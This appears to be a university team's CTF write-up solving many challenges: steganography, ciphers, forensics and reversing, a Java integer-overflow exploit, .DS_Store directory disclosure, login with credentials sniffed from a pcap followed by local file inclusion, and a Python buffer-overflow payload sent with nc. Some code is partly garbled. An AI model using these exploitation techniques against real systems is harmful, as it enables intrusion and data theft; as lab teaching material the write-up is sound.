Decorative picture of LU Hack Logo



There were three posters around the room that the competition was being held in. Each poster had a QR code on it with some parts missing (We were later sent the original files, which will be used in the writeup as they are better quality).

QR Code 1:

QR Code

QR Code 2:

QR Code 2

QR Code 3:

QR Code 3

Luckily, upon scanning the first QR code, the scanner I was using was able to decode it without us having to fix the code. It decodes, and gives us the flag: flag{qr-codes-are-cool\!}.

Looking at a diagram of QR codes, we can see that the vast majority of parts that codes 2 and 3 are missing seems to be to do with the orientation.

QR Diagram

The missing portion on the lower right hand side of each code is only actually half a square of each of the surrounding squares. We can easily fill in these, along with the orientation marks.

I used an online pixel editor to do this manually.

After I had done this, this then leaves us with Code 2 as:

Fixed QR Code 2

and Code 3 as:

Fixed QR Code 3

By trying a variety of different scanners, we eventually get these to scan, giving us the flags: flag{sometimes-things-are-more-predictable-than-you-think} for code 2 and flag{black-on-white-or-white-on-black?} for 3.



"The inventor of kittykoinz had the great idea to implement a transaction fee, so she can get more moneyz. She stressed the developers to get this feature ASAP. Never stress the devs..."

We are provided with a web version of this program to netcat to, and the source code as a jar file. After patching the jar file so that it will run, we are provided with the following options:

We are provided with a web version of this program to netcat to, and the source code as a jar file. After patching the jar file so that it will run, we are provided with the following options:

Let's try and get the flag:

Of course it wouldn't be that easy... What if we try sending some coins to charity?

Hmm, we sent 1 coin but the account balance has been decreased by 3, obviously the transaction tax has been implemented and set at 2 coins. Let's try decompiling the jar to see what secrets we can uncover. I used JD-GUI to achieve this. Inside we find four classes:

  • MainRunner.class
  • IO.class
  • Shop.class
  • Account.class

First let's take a look at Shop.class:

We can see that the transaction tax is indeed set at 2, and that we need 1337 kittykoinz to obtain the flag - Just 1 away from our account balance. The try/catch in sendToCharity also blocks us from giving the program bogus input..

Next let's take a look at MainRunner.class - It contains some methods for displaying text and the main method which doesn't look too interesting.

IO.class is also not too interesting...

Account.class contains the method payCoins which actually handles the paying of coins out of an Account as well as some generic getters/setters - Let's take a closer look at the payCoins method

It has a few sanity checks which will mostly stop us from trying to underflow the amount and instead give us the You cannot generate debts message. We can try a basic underflow by decreasing the account balance to 1 and then attempting to pay out the maximum 32-bit integer 2,147,483,647

But this fails because in order to underflow we must get the integer to -2,147,483,649, which is impossible given the minimum starting balance of 1 and the transaction tax of 2. It could work if we had a starting balance of 0, but this is already checked at the start of the method.

the if (amount < 0) { amount *= -1; } check also prevents us from providing a negative integer so that the subtraction is cancelled and converted to an addition that would allow us to add to our account balance.

But what happens if we try to multiply the smallest (most negative) 32-bit integer by -1? The smallest 32-bit integer is 2,147,483,647, but the smallest is -2,147,483,648. This would mean multiplying it by -1 would produce an overflow and return us to our original number... A quick check in jshell - it works!

Let's try entering this amount into the program


Now to just obtain the flag

Unfortunately the web version of this challenge crashed at some point and cannot be accessed, so flag unavailable :(



Matryoshka a.k.a. Russian nesting dolls are a set of wooden dolls of decreasing size which are designed to fit inside each other. The name of this challenge suggested that there would be multiple layers of challenges to solve

This challenge provided us with a file containing a large base64 encoded string:matroyshka.txt

Decoding the base64 to ascii produced another base64 string but with additional obstacles:


  • The entire string was reversed
  • <removeme> was placed into the string at random positions
  • Some characters had diacritics

Decoding this layer produced another layer with similar obstacles.

Some stages also decoded to hexadecimal which, when converted to ASCII would also produce the next layer of the challenge

Using GCHQ's CyberChef we can create a recipe which will solve each stage of this nested puzzle:

  • Regex to remove the random strings and brackets at the start and end: (\\[\d+\.\d+\])|[\-\[\]]
  • Removing diacritics from letters
  • Replacing ø with o (Remove diacritics does not convert this character)
  • Reversing the string where necessary
  • Remove the duplicate letters from the final stage
  • Decoding hexadecimal to ASCII where necessary
  • Decoding base64 to ASCII
  • (Use "Load recipe" in CyberChef and copy-paste this)

With the full recipe and initial input, the output is our final flag:




A more challenging steganography challenge using least-significant-bit encoding. We are given a large PNG of some smarties ...


Usual steganographic methods don't seem to return anything significant, but the large filesize of the image indicates that maybe there is something encoded in the least significant bit of each pixel in the image.

We can use Python and the PIL library to extract the least significant bit of each pixel and then convert each 7 bits in the binary string to ASCII We also need to note colours of the smarties in the image as it determines which channel (R, G or B) we need to read the LSB value from - The order in the picture is green, red, green, blue, blue, red, green, blue and using itertools we can create a cycle to cycle through this sequence and pick out the correct channel.

import sys
from PIL import Image
from itertools import cycle

image ="smarties.png")

message = []

order = cycle("GRGBBRGB")

for rgb in list(image.getdata()):
    channel = next(order)
    if channel == "R":
        message.append(rgb[0] & 1)
    if channel == "G":
        message.append(rgb[1] & 1)
    if channel == "B":
        message.append(rgb[2] & 1)

for i in range(0, len(message), 7):
    sys.stdout.write(chr(int("".join([str(x) for x in message[i:i+7]]), 2)))

Piping this to an output file with:

python > output.txt

Gives us a large output file of what appears to be hexadecimal - The first two bytes are 89 50 4E 47 0D 0A 1A 0A which indicate that it is a PNG file. Converting the output to a PNG file gives us the hidden image:The hidden image

The image gives us the flag:




"Jamie, a big football fan, created his very first website. Since it is so handy to have a publicly accessible website, Jamie also stores a secret file on it, which he often needs to access from remote. Can you find this file?"

Accessing the site at the URL given shows us this page:

The website

A good first step with web challenges is to use nikto to scan for common vulnerabilities - The result of the scan is shown below:Nikto scan

From this scan we can see that the website may be vulnerable to OSVDB-6694 (or CVE-2001-1446) - A vulnerability in which website hosts running Mac OSX leave .DS_Store files publicly accessible. These files contain information about the directory they are in, including contents. Navigating to \<Base URL>/.DS_Store provides us with the .DS_Store for the website's root folder. We can use a .DS_Store reader such as this site (or with python using this module) to read the file, which gives us the following output:


The secret__stuff folder is most likely where we can find our flag. Navigating to this folder gives us a blank page but we can use the same DS_Store trick to find the directory listing for this folder, again using the same site gives us the following output:


Open <base_URL>/secret__stuff/personal_notes.txt and we are presented with our flag:




This challenge gives us the ciphertext: prnea{43clscfif3u}tlr. After trying several ciphers I found that it was a rail fence cipher with 4 rails...

To decode we write out how the string would be encoded

1           7           13          19
  2       6   8       12  14      18  20
    3   5       9   11      15  17      21
      4           10          16

To encrypt the string, the characters of the string would be written down in the order given above, then read off left to right, to to bottom (1,7,13,19,2,6,...)

So, to decode we just write in the characters of the ciphertext left to right, and read off in the zigzag pattern.

p           r           n           e
  a       {   4       3   c       l   s
    c   f       i   f       3   u       }
      t           l           r

Giving us the flag: pactf{r4ilf3nc3rules}


We're given a URL and a pcap file, being told that we have captured some traffic from "Jake". First thing we need to do is open the pcap in Wireshark....

If we've captured traffic, hopefully it will include the username and password. Once in Wireshark we filter by http

Wireshark filtered by http

We're looking for POST requests, and more specifically, the data the contain. There are two in the screenshot above, the first one contains the following:

First POST request data

Unfortunately when we try this it doesn't work, so we see if the second one contains anything useful:

Second POST request data

It seems Jake had made a typo and not capitalised the first character in his password, this one works!

Screenshot of website after login

Once logged in it's time to look around. We were told to see if we can get to /home/jake/flag.txt, this is clearly a local file, so we need to check for local file inclusion techniques. There is a file upload within the recipes which seems lucrative however this isn't the way we managed to do it, we eventually managed to export the local file over base64 via the following URL:


This printed out the following:


Which looked like:

Screenshot of website after base64 export

When this was decoded from base64, we got the following:

                  / \--..____
                   \ \       \-----,,,..
                    \ \       \         \--,,..
                     \ \       \         \  ,'
                      \ \       \         \ ``..
                       \ \       \         \-''
                        \ \       \__,,--'''
                         \ \       \.
                          \ \      ,/
                           \ \__..-
                            \ \
                             \ \     pactf{m0tel_KaLiforn1a}
                              \ \
                               \ \
                                \ \
                                 \ \
                                  \ \
                                   \ \
                                    \ \



The message given on the challenge page...

Time for lunch. Hope you like  pactf{🍟 🐟🐟🐟🐟 🐟 🐟🐟🍟🐟 🐟🐟 🐟🐟🐟 🐟🐟🐟🐟 🍟🍟 🐟🐟🍟 🐟🐟🐟 🍟 🍟🐟🐟🐟 🐟 🐟🐟🐟🐟 🐟🍟 🍟🐟🐟 🍟🐟🐟 🍟🍟🍟 🍟🐟🍟🐟 🍟🐟🍟}!

All lowercase, and no spaces.

Very simple substitution, replacing 🍟 with - and 🐟 with . gives us morse code:

pactf{- .... . ..-. .. ... .... -- ..- ... - -... . .... .- -.. -.. --- -.-. -.-}

Decoded to ASCII:


By Mysterypotatoguy


We are given a dump from a thumbdrive and need to find a flag hidden in one of the images...

We can use foremost or photorec to recover the images, I will use foremost.

foremost dump
Processing: dump

Looking in the files that it found, we see the flag in one of the images.

Flag: pactf{pictUR3-PICture!!}


We are given a stream of binary data that we must somehow decode. We eventually worked out that it used Manchester Coding...

0110101001010101011010010101011001101001010110100110101001100101 0110100101101001011010101001101001101010010101010110100110010101 0101101001100101011010100101101001100101011001100101100110100110 0110100101100110011010011010100101101001010110100101101001010101 0110100101100101010110100101011001101001101010010110100101101010 0101100110100110011001100101010101100101011001100110101010100110

We can use an online decoder (such as this) to decode it, we are then left with:


We can then decode this from binary in CyberChef into ASCII and this gives us the flag:

Flag: pactf{ph4sE-enc0d1ng-PE}


We are given an image of a QR code and are tasked to find out when the file was printed...

We are told that the flag is in the format pactf{yyyyMMddHHmm}.

We first look in the metadata to find out when the image was created

C:\Users\clark\Downloads\exiftool-11.32>"exiftool(-k).exe" "printout.png"
ExifTool Version Number         : 11.32
File Name                       : printout.png
Directory                       : C:/Users/clark/Documents/GitHub/luhack_ctf_resources/pa/rolling printer/images
File Size                       : 410 kB
File Modification Date/Time     : 2019:04:06 13:01:22+01:00
File Access Date/Time           : 2019:04:06 13:16:57+01:00
File Creation Date/Time         : 2019:04:06 13:01:22+01:00
File Permissions                : rw-rw-rw-
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 4961
Image Height                    : 7016
Bit Depth                       : 8
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Exif Byte Order                 : Little-endian (Intel, II)
Bits Per Sample                 : 8 8 8
X Resolution                    : 236.22
Y Resolution                    : 236.22
Resolution Unit                 : cm
Software                        : GIMP 2.10.8
Photometric Interpretation      : YCbCr
Samples Per Pixel               : 3
Thumbnail Offset                : 272
Thumbnail Length                : 1622
Pixels Per Unit X               : 23622
Pixels Per Unit Y               : 23622
Pixel Units                     : meters
Modify Date                     : 2019:03:18 09:12:34
Image Size                      : 4961x7016
Megapixels                      : 34.8
Thumbnail Image                 : (Binary data 1622 bytes, use -b option to extract)

None of the dates or times are the correct flag (we are later told that it is not about the creation data or anything found in the metadata).

However, if we open the image in paint on Windows, and then fill the background with black, some marks appear that we could not see before.

If we take a closer look, the pattern seems to be repeating.

Printers leave marks on pages they print off for identification. Could it be this? If we google printer watermark and go on wikipedia we can see that the example pattern looks similar to ours, and has a guide to decode it. The code contains a date and time that is was printed, this must be it!

We can use this to decode the pattern to identify the time and date that it was printed.

  • Year: 2012
  • Month: 04
  • Day: 14
  • Hour: 18
  • Minute: 44

Therefore, the flag is pactf{201204141844}.



This is a simple steganography challenge, this was easily solved by running the standard stego tools...

We are given a PNG image of a tractor.

Nothing visually stands out in the image so we can run strings on it. We can then use grep to search for the flag as we know that the flag format is pactf{...}.

strings trailer.jpg | grep pactf

We get nothing, is there a file hidden inside the image?

binwalk -e trailer.jpg
0             0x0             JPEG image data, JFIF standard 1.01
30            0x1E            TIFF image data, big-endian, offset of first image directory: 8
16915         0x4213          PNG image, 960 x 640, 8-bit/color RGB, non-interlaced
17042         0x4292          Zlib compressed data, compressed

It has found an image, this can also be done with foremost.

foremost trailer.jpg
Processing: trailer.jpg

If we open the extracted image, we can see the flag.

Flag: pactf{tr41lEr.p4rk}


First we decompiled the program using dnSpy, yielding...

using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Threading;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Markup;

namespace FlagCalculatorApp
        // Token: 0x02000003 RID: 3
        public class MainWindow : Window, IComponentConnector
                // Token: 0x06000004 RID: 4 RVA: 0x0000207E File Offset: 0x0000027E
                public MainWindow()

                // Token: 0x06000005 RID: 5 RVA: 0x0000208C File Offset: 0x0000028C
                private void Calc(ProgressBar progress, TextBox flag, Label info)
                        MainWindow.<>c__DisplayClass1_0 CS$<>8__locals1 = new MainWindow.<>c__DisplayClass1_0();
                        CS$<>8__locals1.progress = progress;
                        CS$<>8__locals1.flag = flag;
                        CS$<> = info;
                        CS$<>8__locals1.<>4__this = this;
                        CS$<>8__locals1.val = 0u;
                        uint i;
                        uint j;
                        for (i = 0u; i < 12852275u; i = j + 1u)
                                if (i % 1000u == 0u)
                                                CS$<>8__locals1.progress.Value = 1u + i * 99u / 12852275u;
                                CS$<>8__locals1.val = this.Calc5(this.Calc3(this.Calc6(i, 13u), CS$<>8__locals1.val), i);
                                j = i;
                                CS$<>8__locals1.progress.Value = 100.0;
                                CS$<>8__locals1.flag.Text = "pactf{dot" + CS$<>8__locals1.val + "N3T}";
                                CS$<> = "flag calculated!";
                                CS$<>8__locals1.<>4__this.button.IsEnabled = true;

                // Token: 0x06000006 RID: 6 RVA: 0x00002168 File Offset: 0x00000368
                private void Button_Click(object sender, RoutedEventArgs e)
                        this.button.IsEnabled = false;
                        this.flag.Text = "";
               = "calculating flag...";
                        this.progress.Value = 1.0;
                        new Thread(delegate()
                                this.Calc(this.progress, this.flag,;

                // Token: 0x06000007 RID: 7 RVA: 0x000021CB File Offset: 0x000003CB
                private uint Calc1(uint a)
                        return a + 1337u - 1336u;

                // Token: 0x06000008 RID: 8 RVA: 0x000021DA File Offset: 0x000003DA
                private uint Calc2(uint a)
                        return a * 9u - (8u * a + 200u) + 199u;

                // Token: 0x06000009 RID: 9 RVA: 0x000021F0 File Offset: 0x000003F0
                private uint Calc3(uint a, uint b)
                        uint num = 0u;
                        for (uint num2 = 0u; num2 < a; num2 += 1u)
                                num = this.Calc1(num);
                        for (uint num3 = 0u; num3 < b; num3 += 1u)
                                num = this.Calc1(num);
                        return num;

                // Token: 0x0600000A RID: 10 RVA: 0x00002228 File Offset: 0x00000428
                private uint Calc4(uint a, uint b)
                        uint num = this.Calc3(a, 0u);
                        int num2 = 0;
                        while ((long)num2 < (long)((ulong)b))
                                num = this.Calc2(num);
                        return num;

                // Token: 0x0600000B RID: 11 RVA: 0x00002258 File Offset: 0x00000458
                private uint Calc5(uint a, uint b)
                        uint num = 0u;
                        int num2 = 0;
                        while ((long)num2 < (long)((ulong)b))
                                num = this.Calc3(num, a);
                        return num;

                // Token: 0x0600000C RID: 12 RVA: 0x00002280 File Offset: 0x00000480
                private uint Calc6(uint a, uint b)
                        uint num = a;
                        int num2 = 0;
                        while (num >= b)
                                num = this.Calc4(num, b);
                        return num;

                // Token: 0x0600000D RID: 13 RVA: 0x000022A8 File Offset: 0x000004A8
                [GeneratedCode("PresentationBuildTasks", "")]
                public void InitializeComponent()
                        if (this._contentLoaded)
                        this._contentLoaded = true;
                        Uri resourceLocator = new Uri("/FlagCalculatorApp;component/mainwindow.xaml", UriKind.Relative);
                        Application.LoadComponent(this, resourceLocator);

                // Token: 0x0600000E RID: 14 RVA: 0x000022D8 File Offset: 0x000004D8
                [GeneratedCode("PresentationBuildTasks", "")]
                void IComponentConnector.Connect(int connectionId, object target)
                        switch (connectionId)
                        case 1:
                                this.flag = (TextBox)target;
                        case 2:
                                this.label = (Label)target;
                        case 3:
                                this.button = (Button)target;
                                this.button.Click += this.Button_Click;
                        case 4:
                                this.progress = (ProgressBar)target;
                        case 5:
                       = (Label)target;
                        case 6:
                                this.image = (Image)target;
                                this._contentLoaded = true;

                // Token: 0x04000001 RID: 1
                internal TextBox flag;

                // Token: 0x04000002 RID: 2
                internal Label label;

                // Token: 0x04000003 RID: 3
                internal Button button;

                // Token: 0x04000004 RID: 4
                internal ProgressBar progress;

                // Token: 0x04000005 RID: 5
                internal Label info;

                // Token: 0x04000006 RID: 6
                internal Image image;

                // Token: 0x04000007 RID: 7
                private bool _contentLoaded;

I made a guess that not much was being done, and that the program was only slow due to c# being slow. And rewrote it into C.

#include <stdio.h>
#include <stdlib.h>

unsigned int calc1(unsigned int num) {
    return num + 1337u - 1336u;

unsigned calc2(unsigned a) {
    return a * 9u - (8u * a + 200u) + 199u;

unsigned calc3(unsigned int a, unsigned int b) {
    unsigned int num = 0;
    for (unsigned int num2 = 0; num2 < a; num2++) {
        num = calc1(num);
    for (unsigned int num3 = 0; num3 < b; num3++) {
        num = calc1(num);
    return num;

unsigned int calc4(unsigned int a, unsigned int b) {
    unsigned int num = calc3(a, 0);
    int num2 = 0;
    while ((long)num2 < (long)((unsigned long)b)) {
        num = calc2(num);
    return num;

unsigned int calc5(unsigned int a, unsigned int b) {
    unsigned int num = 0;
    int num2 = 0;

    while ((long)num2 < (long)((unsigned long)b)) {
        num = calc3(num, a);
    return num;

unsigned int calc6(unsigned int a, unsigned int b) {
    unsigned int num = a;
    int num2 = 0;

    while (num >= b) {
        num = calc4(num, b);

    return num;

int main() {
    unsigned int val = 0;
    unsigned int i, j;

    for (i = 0; i < 12852275; i = j + 1) {
        val = calc5(calc3(calc6(i, 13), val), i);
        j = i;

    printf("pactf{dot%uN3T}\n", val);

The result is: pactf{dot4019346342N3T}



We were provided with an assembly file that seems to be the result of having GCC dump the assembly of a C program...

First I assembled the assembly into an executable program using gcc sso.s -o sso

Then the assembled program was inspected with radare2 to find the address of the final branches that either displays 'FAIL' or the flag, these were noted down and used in a simple angr script to find an input string that results in the success state being reached.

import angr

p = angr.Project("sso")

st = p.factory.entry_state()

sm = p.factory.simulation_manager(st)

sm.explore(find=0x401242, avoid=0x40113a)

inp =[0].posix.dumps(0)
print(f"Valid input: {inp!r}")

with open("sso_solution.txt", "wb") as f:

This results in:

Valid input: b'licnX\x83"L+\x80:\xc0ect\x01\x00\x02\x00'

After finding a valid input string, we can pass it to the online version to get our flag:

λ cat sso_solution.txt | nc 4488
Welcome to SSO - Secret Service Online
Enter you mission code:
Welcome, Agent Barnett!

Your next mission:
 mission ID: 8574
 type: recon
 location: Etihad Stadium, Manchester, UK
 goal: get secret file from room 1337
 access code: pactf{s3cr3t_operation_8574}

Good luck and may the force be with you!⏎



Kangaroo jack is a simple buffer overflow, we start by opening up the program in radare2...

Functions in jump

Here we can see that there is a function named flag, I take a guess that we need to jump to this function and then the flag will be printed.

I take a look into main to see how large the buffer is, seems it's 0x400 bytes (1024)

The main function

Once I know the rough offset, I open the program in gdb, with the peda toolkit, and use the pattern_create function to generate a text string that can be used to determine which length offset overflows into the RIP register. After a bit of fiddling I found that the buffer length that overflows into RIP is 1032 (this took some time since going over 1038 bytes of buffer length would cause a segfault before rdi took a value).

Finding the length to be 1032

Now we can construct an exploit string to jump to 0x400676

from struct import pack
import socket

buf = b""
buf += b"A" * 1032
buf += pack("<Q", 0x400676)

with open("overflow.txt", "wb") as f:

And then send it to the online challenge:

λ cat overflow.txt | nc 4422
Give me some input and jump!!

Unfortunately this challenge is buggy and sometimes locks up, not giving you the flag.